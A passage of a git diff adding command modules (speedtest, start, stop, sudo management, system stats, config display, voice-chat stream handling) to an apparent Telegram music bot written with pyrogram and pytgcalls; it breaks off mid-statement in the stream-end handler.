𝘾𝙝𝙚𝙘𝙠 𝙔𝙤𝙪𝙧 𝙋𝙢, 𝙎𝙚𝙣𝙩 𝙏𝙝𝙚 𝙍𝙚𝙦𝙪𝙚𝙨𝙩𝙚𝙙 𝙎𝙤𝙣𝙜 𝙏𝙝𝙚𝙧𝙚." + ) + except: + start_butt = InlineKeyboardMarkup( + [ + [ + InlineKeyboardButton( + text="𝘾𝙡𝙞𝙘𝙠 𝙃𝙚𝙧𝙚", + url=f"https://t.me/{BOT_USERNAME}?start", + ) + ] + ] + ) + return await m.edit_text( + text="𝘾𝙡𝙞𝙘𝙠 𝙊𝙣 𝙏𝙝𝙚 𝘽𝙪𝙩𝙩𝙤𝙣 𝘽𝙚𝙡𝙤𝙬 𝘼𝙣𝙙 𝙎𝙩𝙖𝙧𝙩 𝙈𝙚 𝙁𝙤𝙧 𝘿𝙤𝙬𝙣𝙡𝙤𝙖𝙙 𝙎𝙤𝙣𝙜.", + reply_markup=start_butt, + ) + await m.delete() + except: + return await m.edit_text("𝙁𝙖𝙞𝙡𝙚𝙙 𝙏𝙤 𝙐𝙥𝙡𝙤𝙖𝙙 𝘼𝙪𝙙𝙞𝙤 𝙊𝙣 𝙏𝙚𝙡𝙚𝙜𝙧𝙖𝙢 𝙎𝙚𝙧𝙫𝙚𝙧𝙨.") + + try: + os.remove(audio_file) + os.remove(thumb_name) + except Exception as ex: + LOGGER.error(ex) diff --git a/GJ516Music/Modules/speedtest.py b/GJ516Music/Modules/speedtest.py new file mode 100644 index 0000000..10d3959 --- /dev/null +++ b/GJ516Music/Modules/speedtest.py @@ -0,0 +1,67 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +import asyncio + +import speedtest +from pyrogram import filters + +from GJ516Music import SUDOERS, app + + +def testspeed(m): + try: + test = speedtest.Speedtest() + test.get_best_server() + m = m.edit("**𝙍𝙪𝙣𝙣𝙞𝙣𝙜 𝘿𝙤𝙬𝙣𝙡𝙤𝙖𝙙 𝙎𝙥𝙚𝙚𝙙𝙏𝙚𝙨𝙩...**") + test.download() + m = m.edit("**𝙍𝙪𝙣𝙣𝙞𝙣𝙜 𝙐𝙥𝙡𝙤𝙖𝙙 𝙎𝙥𝙚𝙚𝙙𝙏𝙚𝙨𝙩...**") + test.upload() + test.results.share() + result = test.results.dict() + m = m.edit("**𝙎𝙝𝙖𝙧𝙞𝙣𝙜 𝙎𝙥𝙚𝙚𝙙𝙏𝙚𝙨𝙩 𝙍𝙚𝙨𝙪𝙡𝙩𝙨...**") + except Exception as e: + return m.edit(e) + return result + + +@app.on_message(filters.command(["speedtest", "spt"]) & SUDOERS) +async def speedtest_function(_, message): + m = await message.reply_text("**𝙍𝙪𝙣𝙣𝙞𝙣𝙜 𝙎𝙥𝙚𝙚𝙙𝙏𝙚𝙨𝙩...**") + loop = asyncio.get_event_loop() + result = await loop.run_in_executor(None, testspeed, m) + output = f"""**𝙎𝙥𝙚𝙚𝙙𝙏𝙚𝙨𝙩 𝙍𝙚𝙨𝙪𝙡𝙩𝙨** ✯ + +**❥͜͡𝗖𝗹𝗶𝗲𝗻𝘁 :** +**❁ __𝙄𝙨𝙥 :__** {result['client']['isp']} +**❁ __𝘾𝙤𝙪𝙣𝙩𝙧𝙮 :__** {result['client']['country']} + +**❥͜͡𝗦𝗲𝗿𝘃𝗲𝗿 :** +**❁ __𝙉𝙖𝙢𝙚 :__** {result['server']['name']} +**❁ __𝘾𝙤𝙪𝙣𝙩𝙧𝙮 :__** {result['server']['country']}, {result['server']['cc']} +**❁ __𝙎𝙥𝙤𝙣𝙨𝙤𝙧 :__** {result['server']['sponsor']} +**❁ __𝙇𝙖𝙩𝙚𝙣𝙘𝙮 :__** {result['server']['latency']} +**❁ __𝙋𝙞𝙣𝙜 :__** {result['ping']}""" + msg = await app.send_photo( + chat_id=message.chat.id, photo=result["share"], caption=output + ) + await m.delete() diff --git a/GJ516Music/Modules/start.py b/GJ516Music/Modules/start.py new file mode 100644 index 0000000..058f432 --- /dev/null +++ b/GJ516Music/Modules/start.py @@ -0,0 +1,103 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +from pyrogram import filters +from pyrogram.enums import ChatType, ParseMode +from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message +from youtubesearchpython.__future__ import VideosSearch + +import config +from GJ516Music import BOT_MENTION, BOT_NAME, app +from GJ516Music.Helpers import gp_buttons, pm_buttons +from GJ516Music.Helpers.dossier import * + + +@app.on_message(filters.command(["start"]) & ~filters.forwarded) +@app.on_edited_message(filters.command(["start"]) & ~filters.forwarded) +async def GJ516_st(_, message: Message): + if message.chat.type == ChatType.PRIVATE: + if len(message.text.split()) > 1: + cmd = message.text.split(None, 1)[1] + if cmd[0:3] == "inf": + m = await message.reply_text("🔎") + query = (str(cmd)).replace("info_", "", 1) + query = f"https://www.youtube.com/watch?v={query}" + results = VideosSearch(query, limit=1) + for result in (await results.next())["result"]: + title = result["title"] + duration = result["duration"] + views = result["viewCount"]["short"] + thumbnail = result["thumbnails"][0]["url"].split("?")[0] + channellink = result["channel"]["link"] + channel = result["channel"]["name"] + link = result["link"] + published = result["publishedTime"] + searched_text = f""" +➻ **𝗧𝗿𝗮𝗰𝗸 𝗜𝗻𝗳𝗼𝗿𝗺𝗮𝘁𝗶𝗼𝗻** + +📌 **𝙏𝙞𝙩𝙡𝙚 :** {title} + +⏳ **𝘿𝙪𝙧𝙖𝙩𝙞𝙤𝙣 :** {duration} 𝙈𝙞𝙣 +👀 **𝙑𝙞𝙚𝙬𝙨 :** `{views}` +⏰ **𝙋𝙪𝙗𝙡𝙞𝙨𝙝𝙚𝙙 𝙊𝙣 :** {published} +🔗 **𝙇𝙞𝙣𝙠 :** [ᴡᴀᴛᴄʜ ᴏɴ ʏᴏᴜᴛᴜʙᴇ]({link}) +🎥 **𝘾𝙝𝙖𝙣𝙣𝙚𝙡 :** [{channel}]({channellink}) + +💖 𝙎𝙚𝙖𝙧𝙘𝙝 𝙋𝙤𝙬𝙚𝙧𝙚𝙙 𝘽𝙮 ⚡︎ {BOT_NAME}""" + key = InlineKeyboardMarkup( + [ + [ + InlineKeyboardButton(text="𝙔𝙤𝙪𝙏𝙪𝙗𝙚", url=link), + InlineKeyboardButton( + text="𝙂𝙧𝙤𝙪𝙥", url=config.SUPPORT_CHAT + ), + ], + ] + ) + await m.delete() + return await app.send_photo( + message.chat.id, + photo=thumbnail, + caption=searched_text, + parse_mode=ParseMode.MARKDOWN, + reply_markup=key, + ) + else: + await message.reply_photo( + photo=config.START_IMG, + caption=PM_START_TEXT.format( + message.from_user.first_name, + BOT_MENTION, + ), + reply_markup=InlineKeyboardMarkup(pm_buttons), + ) + else: + await message.reply_photo( + photo=config.START_IMG, + caption=START_TEXT.format( + message.from_user.first_name, + BOT_MENTION, + message.chat.title, + config.SUPPORT_CHAT, + ), + reply_markup=InlineKeyboardMarkup(gp_buttons), + ) diff --git a/GJ516Music/Modules/stop.py b/GJ516Music/Modules/stop.py new file mode 100644 index 0000000..978d2c8 --- /dev/null +++ b/GJ516Music/Modules/stop.py @@ -0,0 +1,46 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +from pyrogram import filters +from pyrogram.types import Message + +from GJ516Music import app, pytgcalls +from GJ516Music.Helpers import _clear_, admin_check, close_key + + +@app.on_message(filters.command(["stop", "end"]) & filters.group) +@admin_check +async def stop_str(_, message: Message): + try: + await message.delete() + except: + pass + try: + await _clear_(message.chat.id) + await pytgcalls.leave_group_call(message.chat.id) + except: + pass + + return await message.reply_text( + text=f"**𝙎𝙩𝙚𝙖𝙢 𝙀𝙣𝙙𝙚𝙙/𝙎𝙩𝙤𝙥𝙥𝙚𝙙** \n│ \n└𝘽𝙮 : {message.from_user.mention} ", + reply_markup=close_key, + ) diff --git a/GJ516Music/Modules/sudoers.py b/GJ516Music/Modules/sudoers.py new file mode 100644 index 0000000..7f973e8 --- /dev/null +++ b/GJ516Music/Modules/sudoers.py @@ -0,0 +1,132 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +from pyrogram import filters +from pyrogram.types import Message + +from config import OWNER_ID +from GJ516Music import SUDOERS, app + + +@app.on_message(filters.command(["addsudo"]) & filters.user(OWNER_ID)) +async def sudoadd(_, message: Message): + try: + await message.delete() + except: + pass + if not message.reply_to_message: + if len(message.command) != 2: + return await message.reply_text( + "𝙍𝙚𝙥𝙡𝙮 𝙏𝙤 𝙖 𝙐𝙨𝙚𝙧'𝙨 𝙈𝙖𝙨𝙨𝙖𝙜𝙚 𝙊𝙧 𝙂𝙞𝙫𝙚 𝙐𝙨𝙚𝙧𝙣𝙖𝙢𝙚/𝙐𝙨𝙚𝙧 𝙄𝙙." + ) + user = message.text.split(None, 1)[1] + if "@" in user: + user = user.replace("@", "") + user = await app.get_users(user) + if int(user.id) in SUDOERS: + return await message.reply_text(f"» {user.mention} 𝙄𝙨 𝘼𝙡𝙧𝙚𝙖𝙙𝙮 𝘼 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧.") + try: + SUDOERS.add(int(user.id)) + await message.reply_text(f"𝘼𝙙𝙙𝙚𝙙 {user.mention} 𝙄𝙣 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧𝙨 𝙇𝙞𝙨𝙩.") + except: + return await message.reply_text("𝙁𝙖𝙞𝙡𝙚𝙙 𝙏𝙤 𝘼𝙙𝙙 𝙐𝙨𝙚𝙧 𝙞𝙣 𝙎𝙪𝙙𝙤𝙚𝙧𝙨.") + + if message.reply_to_message.from_user.id in SUDOERS: + return await message.reply_text( + f"» {message.reply_to_message.from_user.mention} 𝙄𝙨 𝘼𝙡𝙧𝙚𝙖𝙙𝙮 𝘼 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧." + ) + try: + SUDOERS.add(message.reply_to_message.from_user.id) + await message.reply_text( + f"𝘼𝙙𝙙𝙚𝙙 {message.reply_to_message.from_user.mention} 𝙄𝙣 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧𝙨 𝙇𝙞𝙨𝙩" + ) + except: + return await message.reply_text("𝙁𝙖𝙞𝙡𝙚𝙙 𝙏𝙤 𝘼𝙙𝙙 𝙐𝙨𝙚𝙧 𝙞𝙣 𝙎𝙪𝙙𝙤𝙚𝙧𝙨.") + + +@app.on_message(filters.command(["delsudo", "rmsudo"]) & filters.user(OWNER_ID)) +async def sudodel(_, message: Message): + try: + await message.delete() + except: + pass + if not message.reply_to_message: + if len(message.command) != 2: + return await message.reply_text( + "𝙍𝙚𝙥𝙡𝙮 𝙏𝙤 𝙖 𝙐𝙨𝙚𝙧'𝙨 𝙈𝙖𝙨𝙨𝙖𝙜𝙚 𝙊𝙧 𝙂𝙞𝙫𝙚 𝙐𝙨𝙚𝙧𝙣𝙖𝙢𝙚/𝙐𝙨𝙚𝙧 𝙄𝙙." + ) + user = message.text.split(None, 1)[1] + if "@" in user: + user = user.replace("@", "") + user = await app.get_users(user) + if int(user.id) not in SUDOERS: + return await message.reply_text( + f" {user.mention} 𝙄𝙨 𝙉𝙤𝙩 𝙄𝙣 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧𝙨 𝙇𝙞𝙨𝙩." + ) + try: + SUDOERS.remove(int(user.id)) + return await message.reply_text( + f"𝙍𝙚𝙢𝙤𝙫𝙚𝙙 {user.mention} 𝙁𝙧𝙤𝙢 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧𝙨 𝙇𝙞𝙨𝙩 ۪۪̥°" + ) + except: + return await message.reply_text(f"𝙁𝙖𝙞𝙡𝙚𝙙 𝙏𝙤 𝙍𝙚𝙢𝙤𝙫𝙚 𝙐𝙨𝙚𝙧 𝙁𝙧𝙤𝙢 𝙎𝙪𝙙𝙤𝙚𝙧𝙨.") + else: + user_id = message.reply_to_message.from_user.id + if int(user_id) not in SUDOERS: + return await message.reply_text( + f" {message.reply_to_message.from_user.mention} 𝙄𝙨 𝙉𝙤𝙩 𝙄𝙣 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧𝙨 𝙇𝙞𝙨𝙩." + ) + try: + SUDOERS.remove(int(user_id)) + return await message.reply_text( + f"𝙍𝙚𝙢𝙤𝙫𝙚𝙙 {message.reply_to_message.from_user.mention} 𝙁𝙧𝙤𝙢 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧𝙨 𝙇𝙞𝙨𝙩 " + ) + except: + return await message.reply_text(f"𝙁𝙖𝙞𝙡𝙚𝙙 𝙏𝙤 𝙍𝙚𝙢𝙤𝙫𝙚 𝙐𝙨𝙚𝙧 𝙁𝙧𝙤𝙢 𝙎𝙪𝙙𝙤𝙚𝙧𝙨.") + + +@app.on_message(filters.command(["sudolist", "sudoers", "sudo"])) +async def sudoers_list(_, message: Message): + hehe = await message.reply_text("𝙂𝙚𝙩𝙩𝙞𝙣𝙜 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧 𝙇𝙞𝙨𝙩..") + text = "🥀 **𝙊𝙬𝙣𝙚𝙧 :**\n" + count = 0 + user = await app.get_users(OWNER_ID) + user = user.first_name if not user.mention else user.mention + count += 1 + text += f"{count}➜ {user}\n" + smex = 0 + for user_id in SUDOERS: + if user_id != OWNER_ID: + try: + user = await app.get_users(user_id) + user = user.first_name if not user.mention else user.mention + if smex == 0: + smex += 1 + text += "\n✨ **𝙎𝙪𝙙𝙤𝙚𝙧𝙨 :**\n" + count += 1 + text += f"{count}➜ {user}\n" + except Exception: + continue + if not text: + await message.reply_text("𝙉𝙤 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧𝙨 𝙁𝙤𝙪𝙣𝙙.") + else: + await hehe.edit_text(text) diff --git a/GJ516Music/Modules/sysstats.py b/GJ516Music/Modules/sysstats.py new file mode 100644 index 0000000..af699cd --- /dev/null +++ b/GJ516Music/Modules/sysstats.py @@ -0,0 +1,115 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +import platform +import re +import socket +import uuid +from sys import version as pyver + +import psutil +from pyrogram import __version__ as pyrover +from pyrogram import filters +from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message +from pytgcalls.__version__ import __version__ as pytgver + +from GJ516Music import BOT_NAME, SUDOERS, app +from GJ516Music.Modules import ALL_MODULES + + +@app.on_message(filters.command(["stats", "sysstats"]) & SUDOERS) +async def sys_stats(_, message: Message): + sysrep = await message.reply_text( + f"𝙂𝙚𝙩𝙩𝙞𝙣𝙜 {BOT_NAME} 𝙎𝙮𝙨𝙩𝙚𝙢 𝙎𝙩𝙖𝙩𝙨, 𝙄𝙩'𝙡𝙡 𝙏𝙖𝙠𝙚 𝘼 𝙒𝙝𝙞𝙡𝙚..." + ) + try: + await message.delete() + except: + pass + sudoers = len(SUDOERS) + mod = len(ALL_MODULES) + hostname = socket.gethostname() + ip_address = socket.gethostbyname(socket.gethostname()) + architecture = platform.machine() + processor = platform.processor() + mac_address = ":".join(re.findall("..", "%012x" % uuid.getnode())) + sp = platform.system() + ram = str(round(psutil.virtual_memory().total / (1024.0**3))) + " 𝙂𝘽" + p_core = psutil.cpu_count(logical=False) + t_core = psutil.cpu_count(logical=True) + try: + cpu_freq = psutil.cpu_freq().current + if cpu_freq >= 1000: + cpu_freq = f"{round(cpu_freq / 1000, 2)}𝙂𝙃𝙕" + else: + cpu_freq = f"{round(cpu_freq, 2)}𝙈𝙃𝙕" + except: + cpu_freq = "𝗙𝗮𝗶𝗹𝗲𝗱 𝗧𝗼 𝗙𝗲𝘁𝗰𝗵" + hdd = psutil.disk_usage("/") + total = hdd.total / (1024.0**3) + total = str(total) + used = hdd.used / (1024.0**3) + used = str(used) + free = hdd.free / (1024.0**3) + free = str(free) + platform_release = platform.release() + platform_version = platform.version() + + await sysrep.edit_text( + f""" +➜ **{BOT_NAME} 𝙎𝙮𝙨𝙩𝙚𝙢 𝙎𝙩𝙖𝙩𝙨** + +**𝙋𝙮𝙩𝙝𝙤𝙣 :** {pyver.split()[0]} +**𝙋𝙧𝙤𝙜𝙧𝙖𝙢 :** {pyrover} +**𝙋𝙮-𝙏𝙜𝙘𝙖𝙡𝙡𝙨 :** {pytgver} +**𝙎𝙪𝙙𝙤𝙚𝙧𝙨 :** `{sudoers}` +**𝙈𝙤𝙙𝙪𝙡𝙚𝙨 :** `{mod}` + +**𝙄𝙋 :** {ip_address} +**𝙈𝙖𝙘 :** {mac_address} +**𝙃𝙤𝙨𝙩𝙣𝙖𝙢𝙚 :** {hostname} +**𝙋𝙡𝙖𝙩𝙛𝙤𝙧𝙢 :** {sp} +**𝙋𝙧𝙤𝙘𝙚𝙨𝙨𝙤𝙧 :** {processor} +**𝘼𝙧𝙘𝙝𝙞𝙩𝙚𝙘𝙩𝙪𝙧𝙚 :** {architecture} +**𝙋𝙡𝙖𝙩𝙛𝙤𝙧𝙢 𝙍𝙚𝙡𝙚𝙖𝙨𝙚 :** {platform_release} +**𝙋𝙡𝙖𝙩𝙛𝙤𝙧𝙢 𝙑𝙚𝙧𝙨𝙞𝙤𝙣 :** {platform_version} + + 𝗦𝘁𝗼𝗿𝗮𝗴𝗲 +**𝘼𝙫𝙖𝙞𝙡𝙖𝙗𝙡𝙚 :** {total[:4]} 𝙂𝙞𝙗 +**𝙐𝙨𝙚𝙙 :** {used[:4]} 𝙂𝙞𝙗 +**𝙁𝙧𝙚𝙚 :** {free[:4]} 𝙂𝙞𝙗 + +**𝙍𝙖𝙢 :** {ram} +**𝙋𝙝𝙮𝙨𝙞𝙘𝙖𝙡 𝘾𝙤𝙧𝙚𝙨 :** {p_core} +**𝙏𝙤𝙩𝙖𝙡 𝘾𝙤𝙧𝙚𝙨 :** {t_core} +**𝘾𝙥𝙪 𝙁𝙧𝙚𝙦𝙪𝙚𝙣𝙘𝙮 :** {cpu_freq}""", + reply_markup=InlineKeyboardMarkup( + [ + [ + InlineKeyboardButton( + text="❰𝘾𝙡𝙤𝙨𝙚❱", + callback_data=f"forceclose abc|{message.from_user.id}", + ), + ] + ] + ), + ) diff --git a/GJ516Music/Modules/variables.py b/GJ516Music/Modules/variables.py new file mode 100644 index 0000000..0ab902d --- /dev/null +++ b/GJ516Music/Modules/variables.py @@ -0,0 +1,61 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +from pyrogram import filters +from pyrogram.enums import ChatType +from pyrogram.types import Message + +import config +from GJ516Music import BOT_NAME, app + + +@app.on_message( + filters.command(["config", "variables"]) & filters.user(config.OWNER_ID) +) +async def get_vars(_, message: Message): + try: + await app.send_message( + chat_id=int(config.OWNER_ID), + text=f"""**{BOT_NAME} 𝗖𝗼𝗻𝗳𝗶𝗴 𝗩𝗮𝗿𝗶𝗮𝗯𝗹𝗲𝘀 :** + +**𝘼𝙥𝙞_𝙄𝙙 :** `{config.API_ID}` +**𝘼𝙥𝙞_𝙃𝙖𝙨𝙝 :** `{config.API_HASH}` + +**𝘽𝙤𝙩_𝙏𝙤𝙠𝙚𝙣 :** `{config.BOT_TOKEN}` +**𝘿𝙪𝙧𝙖𝙩𝙞𝙤𝙣_𝙇𝙞𝙢𝙞𝙩𝙨 :** `{config.DURATION_LIMIT}` + +**𝙊𝙬𝙣𝙚𝙧_𝙄𝙙 :** `{config.OWNER_ID}` +**𝙎𝙪𝙙𝙤_𝙐𝙨𝙚𝙧𝙨 :** `{config.SUDO_USERS}` + +**𝙋𝙞𝙣𝙜_𝙄𝙢𝙜 :** `{config.PING_IMG}` +**𝙎𝙩𝙖𝙧𝙩_𝙞𝙢𝙜 :** `{config.START_IMG}` +**𝙎𝙪𝙥𝙥𝙤𝙧𝙩_𝘾𝙝𝙖𝙩 :** `{config.SUPPORT_CHAT}` + +**𝙎𝙚𝙨𝙨𝙞𝙤𝙣 :** `{config.SESSION}`""", + disable_web_page_preview=True, + ) + except: + return await message.reply_text("𝙁𝙖𝙞𝙡𝙚𝙙 𝙏𝙤 𝙎𝙚𝙣𝙙 𝙩𝙝𝙚 𝘾𝙤𝙣𝙛𝙞𝙜 𝙑𝙖𝙧𝙞𝙖𝙗𝙡𝙚𝙨.") + if message.chat.type != ChatType.PRIVATE: + await message.reply_text( + "𝙋𝙡𝙚𝙖𝙨𝙚 𝘾𝙝𝙚𝙘𝙠 𝙔𝙤𝙪𝙧 𝙋𝙢, 𝙄'𝙫𝙚 𝙎𝙚𝙣𝙩 𝙏𝙝𝙚 𝙘𝙤𝙣𝙛𝙞𝙜 𝙑𝙖𝙧𝙞𝙖𝙗𝙡𝙚𝙨." + ) diff --git a/GJ516Music/Modules/watcher.py b/GJ516Music/Modules/watcher.py new file mode 100644 index 0000000..7d6321c --- /dev/null +++ b/GJ516Music/Modules/watcher.py @@ -0,0 +1,110 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +from pyrogram import filters +from pyrogram.types import Message +from pytgcalls.types import AudioPiped, HighQualityAudio, Update + +from GJ516Music import BOT_ID, BOT_USERNAME, app, app2, GJ516db, pytgcalls +from GJ516Music.Helpers import _clear_, buttons, gen_thumb + +welcome = 20 +close = 30 + + +@app.on_message(filters.video_chat_started, group=welcome) +@app.on_message(filters.video_chat_ended, group=close) +async def welcome(_, message: Message): + try: + await _clear_(message.chat.id) + await pytgcalls.leave_group_call(message.chat.id) + except: + pass + + +@app.on_message(filters.left_chat_member) +async def ub_leave(_, message: Message): + if message.left_chat_member.id == BOT_ID: + try: + await _clear_(message.chat.id) + await pytgcalls.leave_group_call(message.chat.id) + except: + pass + try: + await app2.leave_chat(message.chat.id) + except: + pass + + +@pytgcalls.on_left() +@pytgcalls.on_kicked() +@pytgcalls.on_closed_voice_chat() +async def swr_handler(_, chat_id: int): + try: + await _clear_(chat_id) + except: + pass + + +@pytgcalls.on_stream_end() +async def on_stream_end(pytgcalls, update: Update): + chat_id = update.chat_id + + get = GJ516db.get(chat_id) + if not get: + try: + await _clear_(chat_id) + return await pytgcalls.leave_group_call(chat_id) + except: + return + else: + process = await app.send_message( + chat_id=chat_id, + text="𝘿𝙤𝙬𝙣𝙡𝙤𝙖𝙙𝙞𝙣𝙜 𝙉𝙚𝙭𝙩 𝙏𝙧𝙖𝙘𝙠 𝙁𝙧𝙤𝙢 𝙌𝙪𝙚𝙪𝙚 🎬...", + ) + title = get[0]["title"] + duration = get[0]["duration"] + file_path = get[0]["file_path"] + videoid = get[0]["videoid"] + req_by = get[0]["req"] + user_id = get[0]["user_id"] + get.pop(0) + + stream = AudioPiped(file_path, audio_parameters=HighQualityAudio()) + + try: + await pytgcalls.change_stream( + chat_id, + stream, + ) + except: + await _clear_(chat_id) + return await pytgcalls.leave_group_call(chat_id) + + img = await gen_thumb(videoid, user_id) + await 